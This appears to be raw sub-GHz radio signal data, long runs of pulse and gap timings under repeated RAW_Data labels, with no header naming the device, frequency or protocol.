337 -128 99 -376 105 -370 93 -396 329 -134 103 -358 107 -368 93 -398 101 -362 347 -106 363 -106 339 -132 355 -94 121 -3740 99 -348 127 -370 97 -372 347 -92 379 -94 369 -128 337 -130 337 -126 93 -358 347 -134 333 -124 339 -128 121 -372 101 -368 93 -382 351 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -124 337 -128 369 -96 125 -3736 99 -358 103 -384 105 -336 355 -142 333 -128 349 -94 391 -104 357 -108 105 -360 357 -106 349 -140 331 -124 109 -374 95 -362 125 -360 327 -124 143 -342 99 -364 125 -372 95 -372 347 -94 359 -124 337 -128 337 -130 123 -3698 131 -340 129 -340 127 -370 345 -126 337 -128 339 -128 337 -126 341 -124 91 -374 349 -132 329 -124 339 -126 121 -372 101 -368 91 -384 351 -104 141 -362 103 -338 127 -360 93 -370 349 -132 331 -124 337 -128 337 -130 123 -3706 131 -358 103 -382 105 -336 355 -140 337 -126 363 -104 361 -106 343 -104 135 -356 353 -92 345 -138 337 -130 131 -344 105 -370 93 -396 331 -132 103 -358 107 -370 93 -396 103 -360 347 -106 363 -106 339 -132 357 -94 121 -3740 97 -348 127 -372 95 -372 347 -124 347 -94 369 -128 337 -130 337 -126 93 -390 315 -132 335 -124 341 -126 121 -372 101 -368 93 -384 349 -104 141 -362 105 -336 129 -360 91 -372 349 -134 331 -122 339 -128 337 -128 125 -3732 97 -372 97 -372 95 -370 347 -124 337 -128 337 -130 337 -126 339 -124 123 -348 347 -132 333 -122 341 -126 121 -372 101 -368 91 -384 349 -104 141 -362 105 -336 129 -358 93 -372 349 -132 331 -124 339 -126 337 -130 123 -3702 131 -360 101 -384 105 -336 357 -140 333 -128 349 -94 391 -104 359 -106 105 -360 357 -106 351 -138 333 -122 109 -374 97 -362 125 -358 327 -124 121 -352 125 -344 133 -366 91 -380 351 -102 337 -122 343 -126 369 -98 123 -3704 131 -358 137 -352 105 -336 357 -140 335 -94 381 -94 391 -104 359 -108 105 -360 359 -106 349 -106 365 -92 139 -342 127 -360 125 -360 327 -122 143 -342 135 -330 123 -372 95 -372 347 -96 361 -122 337 -128 337 -130 -RAW_Data: 123 -3702 133 -358 103 -382 103 -336 355 -140 335 -96 393 -106 359 -106 345 -104 137 -356 357 -108 345 -104 363 -94 119 -376 137 -334 125 -354 351 -102 143 -362 105 -338 127 -360 125 -358 329 -122 369 -94 371 -96 369 -96 127 -3730 97 -374 95 -370 95 -378 353 -106 359 -108 337 -126 353 -140 361 -108 105 -364 353 -106 359 -108 335 -124 145 -340 99 -364 123 -338 349 -134 141 -360 105 -336 127 -356 125 -340 349 -132 329 -124 337 -128 369 -96 125 -3732 99 -358 137 -352 105 -336 357 -140 337 -126 363 -106 359 -106 345 -104 135 -358 353 -92 345 -138 339 -128 129 -344 141 -332 125 -366 329 -134 103 -358 141 -336 125 -364 103 -360 349 -108 361 -108 339 -130 355 -94 121 -3716 133 -354 101 -394 107 -334 371 -108 339 -128 369 -104 361 -106 345 -102 137 -356 353 -94 365 -106 337 -124 123 -358 141 -334 125 -356 349 -104 141 -362 105 -338 129 -360 125 -338 349 -134 331 -124 337 -126 371 -96 123 -3732 99 -358 137 -354 105 -338 355 -142 335 -126 363 -106 361 -104 347 -102 137 -356 359 -106 345 -104 363 -94 119 -376 137 -334 125 -354 351 -104 141 -362 105 -338 129 -360 123 -360 327 -122 339 -126 371 -96 337 -128 127 -3710 133 -358 105 -338 131 -360 349 -140 333 -94 383 -104 361 -106 339 -130 97 -382 341 -128 337 -128 337 -126 95 -386 93 -372 127 -340 347 -124 129 -346 123 -352 139 -334 125 -352 351 -104 369 -92 375 -94 369 -96 125 -3730 97 -372 97 -372 129 -338 347 -122 337 -126 371 -96 337 -128 369 -94 123 -356 347 -132 331 -124 371 -94 121 -372 101 -370 123 -352 349 -104 141 -362 107 -336 129 -358 125 -338 349 -132 333 -122 369 -96 369 -96 125 -3734 97 -358 137 -354 105 -338 355 -142 337 -126 327 -140 359 -106 345 -104 135 -356 351 -94 345 -138 337 -128 131 -346 105 -368 93 -398 331 -132 103 -358 105 -370 93 -398 103 -360 347 -108 361 -106 339 -132 357 -94 121 -3740 97 -382 103 -360 105 -370 347 -106 339 -130 357 -92 369 -128 337 -130 93 -366 367 -108 337 -130 353 -94 121 -372 139 -332 125 -354 349 -104 143 -362 105 -336 129 -360 123 -340 349 -132 331 -124 369 -96 369 -96 123 -3732 97 -358 137 -356 107 -336 357 -140 335 -126 349 -94 369 -96 371 -96 125 -368 365 -108 337 -128 353 -92 121 -374 137 -334 125 -354 349 -104 141 -364 103 -338 129 -358 125 -338 349 -132 333 -122 339 -128 369 -96 125 -3734 99 -358 103 -386 105 -336 357 -140 335 -128 -RAW_Data: 361 -106 361 -106 345 -102 137 -356 353 -92 345 -138 337 -128 131 -346 139 -334 127 -364 329 -134 101 -358 143 -334 125 -364 103 -362 349 -106 363 -106 339 -130 357 -92 121 -3718 133 -354 101 -396 105 -334 371 -108 339 -128 353 -92 369 -96 371 -128 93 -368 363 -108 337 -130 353 -94 121 -372 139 -334 123 -354 351 -102 143 -362 105 -336 129 -360 125 -338 349 -132 333 -122 337 -128 369 -96 125 -3734 99 -358 137 -352 105 -336 357 -140 335 -128 363 -104 361 -106 345 -102 137 -356 353 -94 343 -140 337 -128 129 -344 141 -334 125 -352 351 -102 141 -364 105 -336 129 -360 123 -360 327 -124 337 -126 369 -98 337 -128 127 -3708 133 -358 103 -372 97 -362 349 -140 335 -94 345 -126 371 -96 369 -98 125 -370 329 -140 335 -128 353 -94 121 -374 101 -368 125 -354 349 -140 105 -362 105 -370 97 -360 93 -370 349 -132 331 -124 339 -128 337 -130 123 -3732 97 -340 129 -372 95 -372 345 -124 337 -126 339 -128 337 -128 335 -126 123 -348 349 -132 331 -124 371 -94 123 -372 101 -368 123 -352 349 -104 141 -362 105 -338 127 -360 123 -340 349 -132 333 -122 339 -126 369 -98 123 -3732 97 -372 97 -372 129 -338 345 -124 337 -128 337 -130 337 -126 337 -124 125 -350 347 -134 331 -124 339 -128 121 -372 101 -368 91 -384 349 -104 143 -362 105 -336 129 -358 125 -340 349 -132 331 -124 337 -128 369 -98 123 -3732 99 -358 137 -352 107 -336 355 -142 335 -126 365 -104 361 -106 345 -102 137 -356 353 -94 365 -104 339 -124 123 -360 141 -334 125 -354 351 -102 143 -362 105 -338 129 -360 123 -340 349 -132 333 -122 339 -126 369 -98 123 -3732 97 -358 137 -356 107 -336 355 -140 335 -128 349 -94 369 -96 371 -96 125 -368 363 -108 337 -130 351 -94 121 -374 137 -332 125 -354 351 -102 143 -362 105 -336 129 -360 123 -340 347 -134 331 -124 339 -128 369 -96 125 -3730 99 -372 95 -372 129 -338 345 -124 337 -128 337 -128 339 -126 337 -124 125 -350 347 -134 331 -124 371 -94 121 -372 101 -368 125 -350 351 -102 143 -362 105 -336 129 -360 125 -338 349 -134 331 -124 337 -126 371 -96 125 -3704 133 -358 103 -384 105 -336 355 -140 337 -126 347 -94 369 -96 371 -96 125 -368 363 -108 337 -130 353 -92 123 -372 103 -368 123 -354 351 -102 143 -362 105 -336 129 -360 123 -340 347 -132 333 -124 371 -94 369 -98 123 -3704 133 -358 103 -384 105 -338 353 -142 337 -126 349 -92 371 -96 369 -96 127 -368 363 -108 337 -128 -RAW_Data: 351 -94 121 -374 137 -334 125 -352 351 -104 141 -362 105 -336 129 -360 125 -338 349 -134 331 -122 371 -94 371 -96 125 -3734 99 -358 139 -352 105 -336 355 -140 337 -126 347 -94 369 -98 369 -96 127 -368 363 -108 337 -128 351 -94 121 -374 103 -368 125 -352 351 -104 141 -362 105 -338 129 -358 125 -340 349 -132 331 -124 339 -128 369 -96 125 -3706 133 -358 103 -382 105 -336 353 -142 335 -126 349 -94 369 -96 371 -96 127 -368 363 -108 337 -128 351 -94 121 -374 101 -370 125 -352 351 -104 141 -362 105 -336 129 -360 125 -338 349 -134 331 -124 337 -126 371 -96 125 -3730 97 -360 135 -356 107 -336 357 -140 337 -126 347 -94 369 -96 369 -130 93 -368 365 -106 339 -128 353 -92 121 -374 101 -370 125 -352 351 -104 141 -362 105 -336 129 -360 125 -340 349 -132 331 -124 339 -126 371 -96 123 -3708 131 -360 103 -382 105 -336 353 -140 337 -126 349 -94 369 -96 371 -96 125 -368 365 -106 337 -130 351 -94 121 -372 103 -368 125 -352 351 -104 141 -362 105 -338 129 -358 125 -338 349 -132 333 -124 339 -126 369 -98 123 -3732 97 -372 97 -372 129 -338 347 -124 337 -126 339 -128 337 -128 337 -124 125 -350 347 -134 331 -124 339 -126 123 -372 101 -368 91 -382 351 -104 141 -362 105 -336 129 -358 125 -340 349 -132 331 -124 337 -128 369 -96 125 -3706 131 -358 103 -386 105 -336 353 -140 337 -94 379 -94 369 -96 371 -96 125 -368 365 -108 337 -128 351 -94 121 -374 137 -334 125 -352 351 -104 143 -362 105 -336 129 -360 125 -338 349 -134 331 -124 337 -126 371 -96 123 -3730 99 -360 135 -356 107 -336 357 -140 337 -126 349 -94 369 -96 369 -98 125 -368 363 -108 337 -128 353 -92 121 -374 101 -370 125 -352 351 -104 141 -362 105 -338 129 -360 123 -340 349 -132 331 -124 339 -126 369 -98 123 -3706 131 -360 101 -384 105 -338 353 -140 337 -94 381 -94 369 -96 369 -96 125 -368 365 -108 339 -128 351 -94 121 -372 139 -334 125 -352 351 -104 143 -362 105 -336 129 -358 125 -340 349 -132 331 -124 337 -128 369 -96 125 -3734 99 -360 137 -352 105 -336 353 -142 335 -126 349 -94 369 -96 369 -98 125 -366 367 -108 337 -130 351 -94 121 -372 139 -332 125 -354 349 -104 143 -362 105 -338 127 -360 123 -340 347 -134 331 -124 369 -94 369 -96 125 -3728 97 -372 129 -338 129 -340 347 -122 369 -96 369 -96 369 -96 369 -94 123 -358 345 -134 333 -122 371 -94 121 -372 103 -368 123 -352 349 -104 143 -362 -RAW_Data: 105 -336 129 -360 123 -340 347 -132 333 -122 371 -94 369 -96 125 -3732 97 -372 97 -372 129 -338 347 -122 337 -128 337 -128 337 -128 337 -124 125 -354 347 -132 333 -124 339 -126 121 -372 103 -366 93 -382 351 -104 141 -364 103 -338 127 -360 125 -340 349 -132 331 -122 339 -126 369 -98 123 -3738 97 -360 137 -350 107 -336 353 -140 337 -94 381 -94 369 -96 369 -96 127 -366 365 -108 339 -128 351 -94 121 -374 137 -334 125 -352 351 -104 141 -364 105 -336 129 -358 125 -338 349 -132 331 -124 369 -94 369 -96 125 -3728 97 -372 129 -338 129 -340 347 -122 369 -96 369 -96 369 -96 369 -94 123 -372 359 -96 357 -124 337 -128 121 -336 133 -366 91 -378 351 -104 141 -364 105 -336 127 -358 125 -338 349 -132 331 -124 369 -96 369 -96 123 -3736 97 -360 137 -354 107 -336 355 -142 335 -94 381 -94 391 -104 359 -106 107 -360 359 -106 351 -104 365 -92 139 -342 129 -360 123 -360 327 -124 121 -354 139 -336 127 -356 123 -340 347 -132 333 -122 371 -94 369 -96 125 -3736 97 -360 137 -354 105 -338 355 -140 337 -94 379 -94 391 -104 359 -108 105 -362 357 -106 351 -104 365 -92 139 -342 129 -360 123 -360 327 -122 119 -356 139 -336 127 -356 125 -338 349 -132 331 -122 371 -96 369 -96 123 -3732 99 -358 137 -356 105 -338 357 -140 337 -126 349 -94 391 -104 357 -108 107 -362 359 -106 349 -106 365 -92 139 -340 129 -360 123 -360 329 -122 121 -354 139 -336 125 -356 125 -338 349 -132 333 -124 337 -128 369 -96 125 -3736 99 -358 137 -354 105 -336 353 -142 335 -94 381 -94 369 -128 337 -130 93 -368 363 -108 337 -130 353 -94 121 -374 101 -368 125 -354 351 -102 143 -362 105 -336 129 -360 123 -340 349 -132 333 -122 341 -126 369 -98 123 -3706 131 -360 101 -384 105 -338 353 -140 337 -94 381 -94 369 -96 369 -96 125 -368 365 -108 339 -128 351 -92 121 -374 139 -332 125 -354 349 -104 143 -362 105 -338 127 -360 125 -338 347 -134 331 -124 369 -94 369 -96 125 -3728 97 -394 103 -358 105 -338 391 -108 335 -126 349 -94 369 -96 369 -98 125 -366 367 -108 337 -130 351 -94 121 -372 139 -332 125 -352 349 -104 143 -362 105 -338 129 -360 125 -338 349 -132 333 -122 369 -94 371 -96 123 -3730 97 -394 103 -358 105 -338 355 -142 335 -128 347 -94 369 -96 371 -96 125 -368 365 -108 337 -130 353 -92 121 -374 137 -334 125 -352 351 -104 141 -364 105 -336 129 -360 123 -338 349 -132 333 -122 369 -96 -RAW_Data: 369 -96 123 -3730 97 -372 127 -340 129 -338 347 -124 369 -94 369 -96 371 -96 367 -94 125 -358 345 -132 333 -124 369 -96 121 -372 101 -370 123 -352 351 -102 143 -362 105 -338 129 -358 123 -340 347 -132 333 -122 371 -94 369 -96 125 -3730 97 -360 137 -358 105 -338 355 -142 335 -128 347 -94 369 -96 371 -96 125 -368 365 -108 337 -130 351 -94 121 -374 137 -332 125 -352 351 -102 143 -362 105 -338 131 -360 123 -338 349 -132 333 -122 369 -96 369 -96 123 -3736 97 -360 137 -354 107 -336 355 -142 337 -126 363 -106 361 -104 345 -102 137 -346 343 -128 337 -128 339 -126 127 -346 125 -340 129 -356 331 -124 139 -340 127 -358 123 -360 103 -394 319 -140 319 -142 333 -122 361 -104 103 -3732 105 -370 97 -364 123 -360 327 -122 371 -94 369 -96 371 -96 369 -94 125 -358 347 -132 333 -124 371 -94 121 -372 137 -334 123 -352 351 -104 143 -362 105 -336 129 -360 123 -340 349 -132 333 -122 339 -126 369 -98 123 -3734 97 -372 97 -372 95 -372 345 -124 337 -128 337 -130 337 -126 337 -124 123 -350 347 -134 333 -124 369 -94 121 -372 103 -368 123 -352 351 -102 143 -362 105 -338 127 -360 123 -340 347 -132 333 -122 371 -96 369 -96 123 -3730 99 -358 137 -358 107 -336 357 -140 337 -94 381 -94 369 -96 369 -96 127 -366 365 -108 339 -130 353 -94 121 -372 101 -368 125 -354 351 -102 143 -362 105 -336 129 -360 123 -340 349 -132 333 -122 339 -128 369 -98 123 -3708 131 -358 103 -384 105 -334 355 -140 337 -94 379 -94 369 -96 371 -128 93 -368 365 -108 337 -128 353 -94 121 -374 101 -370 123 -354 351 -102 143 -362 105 -336 129 -360 125 -340 349 -132 331 -124 339 -126 371 -96 125 -3706 131 -358 103 -384 105 -338 353 -140 337 -94 379 -94 369 -96 371 -96 125 -368 365 -108 337 -128 353 -92 121 -374 137 -334 125 -352 349 -104 143 -362 105 -338 129 -360 125 -338 347 -134 331 -122 369 -96 369 -96 123 -3730 99 -392 103 -358 107 -338 355 -142 335 -126 349 -94 369 -96 369 -98 125 -368 365 -106 339 -128 353 -94 121 -374 137 -334 125 -352 351 -104 141 -364 105 -338 127 -360 123 -340 347 -132 333 -122 369 -94 371 -96 123 -3734 99 -360 137 -356 105 -338 355 -140 337 -94 379 -94 391 -106 357 -108 105 -362 359 -106 349 -106 365 -92 139 -342 129 -360 123 -360 327 -122 143 -344 135 -330 123 -360 137 -360 355 -106 359 -108 333 -92 391 -104 139 -3698 105 -370 97 -364 123 -338 349 -134 -RAW_Data: 333 -124 369 -94 369 -96 371 -96 125 -368 363 -108 337 -128 351 -92 121 -374 139 -332 125 -354 349 -104 143 -362 105 -338 129 -360 123 -338 349 -132 333 -122 369 -96 369 -96 123 -3738 99 -358 137 -354 105 -338 355 -140 337 -94 381 -94 391 -104 357 -108 105 -362 359 -106 351 -104 365 -92 139 -342 127 -360 125 -358 327 -122 121 -358 139 -336 127 -354 125 -338 349 -132 333 -122 369 -96 369 -96 123 -3734 97 -360 137 -356 107 -336 355 -142 335 -126 349 -94 391 -104 359 -106 107 -360 359 -106 351 -106 365 -92 139 -342 127 -362 123 -360 325 -122 121 -356 139 -336 127 -356 123 -340 347 -134 331 -124 369 -96 369 -96 123 -3732 97 -372 97 -372 129 -338 347 -124 335 -128 369 -96 369 -96 367 -94 125 -354 347 -132 335 -122 371 -94 121 -372 103 -368 123 -352 351 -104 141 -364 105 -336 129 -358 125 -338 349 -132 333 -122 369 -96 369 -96 123 -3730 99 -392 103 -358 107 -336 357 -140 337 -126 349 -94 369 -96 369 -96 127 -366 365 -108 339 -128 353 -94 121 -374 137 -332 125 -354 349 -104 143 -362 105 -338 127 -360 125 -338 347 -134 331 -124 371 -94 369 -96 125 -3732 99 -360 135 -358 105 -336 357 -140 337 -94 379 -94 393 -104 359 -106 107 -360 359 -106 351 -104 365 -92 139 -342 129 -360 123 -360 327 -124 119 -354 141 -336 127 -354 125 -340 347 -132 333 -122 369 -96 369 -96 123 -3730 99 -372 129 -340 129 -338 347 -122 369 -96 369 -96 369 -96 367 -94 125 -356 345 -134 333 -124 369 -96 121 -372 101 -370 123 -350 351 -104 141 -364 105 -336 129 -360 123 -340 347 -132 333 -122 369 -96 369 -96 125 -3728 97 -372 129 -338 129 -340 347 -122 369 -96 369 -96 369 -96 369 -94 125 -356 345 -134 333 -124 369 -96 121 -372 101 -370 123 -350 351 -104 143 -362 105 -336 129 -360 123 -340 347 -134 333 -122 371 -94 369 -98 123 -3732 97 -374 95 -372 129 -338 347 -124 337 -128 337 -128 337 -128 337 -124 123 -354 345 -134 333 -124 369 -94 121 -372 103 -368 123 -352 349 -104 143 -362 105 -338 127 -360 123 -340 347 -132 333 -122 371 -96 369 -96 123 -3728 99 -372 127 -340 129 -338 347 -124 369 -94 371 -96 369 -96 369 -94 123 -358 345 -134 333 -122 371 -94 123 -372 101 -368 125 -350 351 -104 141 -364 105 -336 129 -360 123 -338 349 -132 333 -122 369 -96 369 -96 123 -3736 97 -360 135 -358 105 -336 357 -140 337 -94 379 -94 391 -106 357 -108 105 -362 359 -106 -RAW_Data: 351 -104 365 -92 139 -342 129 -360 123 -360 327 -124 119 -354 141 -336 127 -354 125 -340 347 -132 333 -122 369 -96 369 -96 123 -3734 99 -358 137 -356 107 -336 357 -140 337 -126 349 -94 391 -104 359 -108 105 -360 359 -106 351 -104 365 -92 139 -342 129 -360 123 -360 327 -122 121 -354 141 -336 127 -356 125 -338 349 -132 333 -122 369 -96 369 -96 123 -3732 99 -372 95 -372 129 -340 345 -124 337 -126 371 -96 337 -128 367 -94 125 -352 347 -132 335 -124 339 -128 121 -372 101 -368 91 -384 351 -104 141 -362 105 -336 129 -360 123 -340 351 -132 331 -124 337 -126 371 -96 125 -3728 99 -372 95 -372 129 -340 345 -124 337 -128 337 -128 337 -128 337 -124 125 -352 347 -134 333 -122 369 -96 121 -372 101 -370 123 -350 351 -104 143 -362 105 -336 129 -360 123 -340 347 -134 331 -124 369 -94 369 -96 125 -3726 99 -394 101 -358 107 -338 391 -108 337 -126 349 -94 369 -96 369 -98 125 -366 367 -106 339 -130 351 -94 121 -372 139 -334 123 -354 351 -104 141 -362 105 -338 129 -358 125 -338 349 -132 333 -122 369 -94 371 -96 123 -3730 99 -392 103 -358 105 -338 357 -142 335 -126 349 -94 369 -96 371 -96 125 -368 365 -108 337 -130 351 -94 121 -374 137 -334 123 -354 349 -104 141 -364 105 -338 129 -360 123 -340 347 -134 331 -124 369 -94 369 -96 125 -3728 97 -372 129 -338 129 -340 345 -124 369 -94 371 -96 369 -96 369 -94 123 -370 359 -96 361 -122 337 -128 121 -338 131 -368 91 -378 351 -102 143 -362 105 -338 129 -356 125 -338 349 -132 333 -122 371 -94 369 -96 125 -3730 97 -374 95 -372 129 -340 345 -124 337 -126 369 -96 371 -96 367 -94 125 -354 347 -132 335 -122 371 -94 121 -372 103 -368 123 -352 351 -102 143 -362 105 -338 129 -358 125 -338 349 -132 331 -124 369 -94 369 -98 123 -3736 99 -358 137 -356 105 -338 355 -140 337 -94 381 -94 391 -104 357 -108 105 -362 359 -106 351 -104 365 -92 139 -342 129 -360 123 -360 327 -122 143 -344 135 -332 123 -360 135 -360 355 -106 361 -106 335 -92 391 -106 103 -3734 105 -370 97 -360 123 -362 327 -122 357 -140 361 -108 335 -94 377 -96 121 -372 353 -104 349 -140 333 -122 109 -374 97 -362 123 -340 349 -132 105 -396 105 -334 127 -356 125 -340 347 -134 331 -124 337 -126 371 -96 125 -3734 99 -358 137 -354 105 -338 355 -140 337 -94 379 -94 391 -104 359 -108 105 -362 357 -108 349 -106 365 -92 139 -342 127 -362 123 -360 327 -122 -RAW_Data: 143 -344 135 -332 123 -360 135 -360 355 -106 361 -106 335 -92 391 -104 103 -3730 105 -370 97 -364 123 -340 349 -132 335 -122 371 -94 369 -98 369 -96 125 -368 365 -106 339 -128 349 -94 121 -374 137 -334 125 -352 349 -104 141 -364 105 -336 131 -360 123 -338 349 -132 335 -122 369 -96 369 -96 123 -3736 99 -360 135 -356 105 -338 355 -142 335 -94 381 -94 391 -104 359 -108 105 -362 359 -106 351 -104 365 -92 139 -340 129 -360 125 -358 327 -122 121 -356 139 -336 127 -356 125 -340 347 -132 333 -122 369 -96 369 -96 123 -3730 99 -392 103 -358 107 -338 357 -140 335 -128 349 -94 369 -98 369 -96 125 -370 363 -108 337 -128 353 -94 121 -374 101 -368 125 -354 349 -104 141 -364 103 -338 129 -360 125 -338 349 -134 331 -124 339 -126 371 -96 123 -3738 99 -358 137 -352 105 -336 355 -140 337 -94 381 -94 391 -104 359 -108 105 -362 359 -106 349 -104 365 -94 139 -340 129 -360 125 -358 329 -122 121 -354 139 -336 127 -356 123 -340 347 -134 331 -122 371 -96 369 -96 123 -3728 97 -372 129 -338 129 -340 347 -122 369 -96 369 -96 369 -96 369 -94 123 -370 359 -96 361 -122 337 -128 121 -338 133 -366 91 -378 351 -104 141 -364 105 -336 129 -358 123 -340 347 -134 331 -122 371 -96 369 -96 123 -3736 97 -372 97 -372 129 -338 347 -124 337 -126 337 -130 337 -126 337 -126 123 -354 345 -134 333 -124 369 -94 121 -372 103 -368 123 -352 349 -104 143 -362 105 -338 129 -360 123 -338 349 -132 333 -122 369 -96 369 -96 123 -3730 99 -372 127 -340 129 -338 347 -124 367 -96 369 -96 371 -96 367 -94 125 -356 347 -132 333 -122 371 -96 121 -372 137 -334 123 -352 351 -104 141 -364 105 -336 129 -360 123 -338 349 -132 333 -122 369 -96 369 -96 123 -3736 97 -360 135 -358 105 -336 357 -140 337 -126 349 -94 391 -104 359 -108 105 -362 359 -106 351 -104 365 -92 139 -342 129 -358 125 -360 327 -122 121 -354 141 -336 125 -356 125 -338 349 -132 333 -122 369 -96 369 -96 123 -3734 97 -360 137 -356 107 -338 355 -140 337 -126 349 -94 391 -104 357 -108 105 -362 359 -106 351 -104 367 -92 139 -342 127 -362 123 -360 327 -120 121 -356 139 -336 127 -356 123 -340 347 -134 333 -122 369 -96 369 -96 123 -3736 99 -360 135 -356 105 -338 355 -142 335 -126 349 -94 391 -104 359 -108 105 -362 359 -106 349 -106 365 -92 139 -342 129 -360 123 -360 327 -122 121 -354 141 -336 125 -356 125 -338 349 -132 333 -122 -RAW_Data: 371 -94 371 -96 123 -3730 99 -392 103 -358 105 -338 357 -140 337 -126 349 -94 369 -96 369 -96 127 -366 365 -108 337 -130 353 -94 121 -372 139 -334 125 -352 349 -104 141 -364 105 -336 129 -360 125 -338 347 -134 333 -122 369 -96 369 -96 123 -3732 99 -358 137 -358 107 -336 357 -140 337 -126 349 -94 391 -104 359 -106 107 -360 359 -106 351 -104 365 -94 139 -340 129 -362 123 -360 327 -122 121 -354 139 -338 125 -356 125 -338 349 -132 333 -122 369 -96 369 -96 123 -3736 97 -374 95 -372 129 -338 347 -124 337 -126 337 -130 337 -126 337 -126 123 -352 347 -134 333 -122 371 -94 121 -372 103 -368 123 -352 351 -102 143 -362 105 -338 129 -360 123 -338 349 -132 333 -122 369 -96 369 -96 123 -3730 99 -392 103 -358 107 -336 223 -710188 165 -356 105 -338 129 -358 351 -104 337 -124 383 -106 359 -108 337 -128 97 -384 341 -96 369 -96 369 -94 125 -370 135 -362 103 -340 353 -142 105 -356 103 -382 103 -336 123 -388 325 -124 347 -94 369 -128 337 -128 95 -3734 97 -394 103 -338 135 -332 351 -140 333 -126 361 -106 359 -106 345 -102 137 -356 357 -106 347 -102 365 -92 121 -374 137 -334 125 -368 331 -134 101 -360 105 -370 93 -396 103 -360 347 -108 361 -106 339 -130 355 -94 121 -3740 99 -384 101 -360 105 -368 343 -106 339 -130 357 -92 369 -130 337 -128 95 -368 363 -108 337 -128 353 -94 121 -372 103 -368 125 -350 351 -104 141 -362 105 -336 129 -360 123 -340 349 -132 331 -124 337 -126 339 -128 125 -3728 99 -372 95 -372 97 -372 345 -124 339 -128 337 -128 337 -126 339 -124 123 -344 349 -132 331 -124 337 -128 121 -370 101 -368 93 -382 351 -102 141 -364 105 -336 127 -358 93 -372 349 -132 331 -124 337 -126 339 -128 123 -3704 133 -358 103 -382 103 -336 355 -140 335 -126 349 -94 369 -96 371 -96 125 -370 363 -106 337 -128 351 -94 121 -374 101 -368 125 -354 349 -104 141 -362 105 -336 129 -360 93 -370 349 -132 331 -124 337 -126 339 -128 125 -3704 131 -360 101 -382 105 -336 353 -142 335 -128 327 -140 359 -106 345 -102 137 -356 355 -106 347 -138 331 -124 107 -374 97 -362 93 -390 327 -122 145 -342 99 -366 123 -358 101 -394 317 -140 359 -106 335 -124 359 -104 105 -3736 105 -368 97 -360 125 -360 327 -122 359 -138 325 -142 335 -94 345 -126 123 -370 353 -104 347 -140 333 -124 109 -374 97 -362 91 -372 349 -134 103 -396 105 -334 125 -356 93 -372 349 -132 331 -122 339 -128 337 -128 -RAW_Data: 125 -3708 131 -358 103 -380 103 -336 353 -140 335 -126 327 -140 361 -106 343 -102 137 -356 353 -94 343 -140 335 -128 131 -346 105 -370 91 -398 329 -134 101 -358 107 -370 93 -384 95 -370 349 -132 329 -124 337 -128 337 -130 123 -3706 131 -358 103 -380 105 -334 355 -140 335 -126 349 -94 369 -96 371 -128 93 -370 363 -108 337 -128 351 -94 121 -374 101 -368 125 -352 351 -104 141 -362 105 -336 129 -360 93 -370 349 -132 331 -124 337 -128 337 -130 123 -3732 99 -360 101 -384 105 -336 357 -140 335 -128 349 -94 369 -128 337 -130 93 -370 363 -108 335 -128 353 -94 121 -372 103 -368 123 -354 351 -102 141 -362 105 -370 97 -360 93 -370 349 -132 331 -124 339 -126 339 -128 125 -3702 131 -358 101 -382 105 -338 355 -140 337 -126 319 -126 355 -140 355 -106 105 -362 355 -106 351 -140 331 -124 107 -374 97 -362 93 -392 327 -122 121 -352 125 -344 133 -366 91 -380 319 -134 335 -124 341 -128 369 -96 125 -3736 99 -372 95 -372 95 -372 345 -126 337 -128 337 -128 337 -128 339 -142 105 -356 347 -108 361 -106 375 -98 133 -348 105 -370 93 -382 349 -104 141 -362 105 -336 129 -358 125 -338 349 -134 329 -124 339 -126 369 -98 123 -3732 97 -358 137 -352 105 -368 325 -140 335 -128 349 -94 369 -96 371 -96 125 -368 365 -108 337 -128 351 -94 121 -374 101 -368 125 -354 349 -104 141 -364 105 -336 129 -358 125 -340 349 -132 331 -124 337 -128 369 -96 125 -3704 131 -358 103 -384 105 -336 355 -140 333 -128 349 -94 369 -98 369 -96 125 -368 365 -108 337 -128 351 -94 121 -374 101 -370 125 -352 351 -104 141 -362 105 -336 129 -360 123 -340 349 -132 331 -124 337 -128 369 -98 123 -3732 99 -358 103 -386 105 -336 355 -140 337 -126 349 -94 391 -104 357 -108 105 -362 357 -106 349 -140 331 -124 107 -374 97 -362 123 -360 327 -122 121 -354 123 -344 133 -366 91 -380 349 -104 335 -124 375 -94 369 -96 125 -3706 131 -358 103 -384 105 -336 357 -140 335 -126 349 -94 391 -104 359 -108 105 -360 359 -104 351 -138 331 -124 107 -374 97 -362 123 -360 327 -124 143 -342 99 -366 123 -372 95 -372 347 -96 359 -124 337 -126 339 -128 125 -3700 129 -340 129 -340 127 -372 345 -126 337 -130 337 -130 337 -126 343 -124 91 -372 349 -130 329 -124 339 -128 121 -370 101 -368 93 -382 349 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -124 341 -126 337 -130 123 -3702 131 -360 101 -384 105 -336 355 -140 335 -128 -RAW_Data: 317 -126 371 -96 369 -98 125 -370 329 -140 337 -128 321 -124 121 -374 101 -368 93 -386 351 -104 141 -362 105 -336 129 -358 93 -372 349 -132 331 -124 339 -128 337 -130 123 -3704 133 -358 103 -382 103 -336 355 -140 335 -128 329 -138 361 -106 343 -136 103 -356 357 -104 349 -138 331 -124 109 -374 97 -360 93 -392 327 -122 143 -342 99 -366 123 -356 103 -392 317 -140 359 -106 335 -126 359 -104 139 -3694 93 -384 103 -368 93 -384 349 -104 337 -122 375 -96 369 -96 369 -98 125 -370 361 -108 337 -128 351 -94 121 -374 101 -368 125 -354 349 -104 141 -364 105 -336 127 -360 123 -340 349 -132 333 -122 339 -126 369 -98 123 -3708 131 -358 101 -384 105 -336 355 -140 335 -126 349 -94 391 -106 357 -108 105 -360 359 -106 349 -140 331 -124 107 -342 129 -360 125 -360 327 -122 121 -354 123 -344 133 -366 91 -380 351 -102 337 -122 375 -94 369 -96 125 -3738 99 -358 103 -386 105 -336 355 -140 335 -128 349 -94 391 -104 357 -108 105 -360 359 -106 349 -140 331 -124 109 -342 127 -362 123 -360 327 -124 143 -342 99 -366 123 -372 95 -372 347 -94 361 -124 337 -126 339 -128 125 -3702 133 -358 103 -380 103 -338 353 -140 335 -126 349 -94 369 -98 369 -96 125 -368 365 -106 337 -130 351 -94 121 -374 103 -368 125 -352 351 -104 141 -362 105 -336 129 -360 125 -340 349 -132 331 -124 337 -128 369 -96 125 -3728 99 -372 97 -370 97 -372 347 -124 337 -128 337 -128 339 -126 337 -124 125 -350 347 -132 331 -124 339 -128 121 -372 101 -368 91 -382 351 -104 141 -364 103 -338 127 -360 123 -340 349 -132 331 -124 339 -126 371 -96 123 -3734 99 -358 103 -386 105 -368 325 -140 335 -126 349 -94 391 -104 359 -108 105 -360 357 -106 351 -140 331 -124 107 -374 97 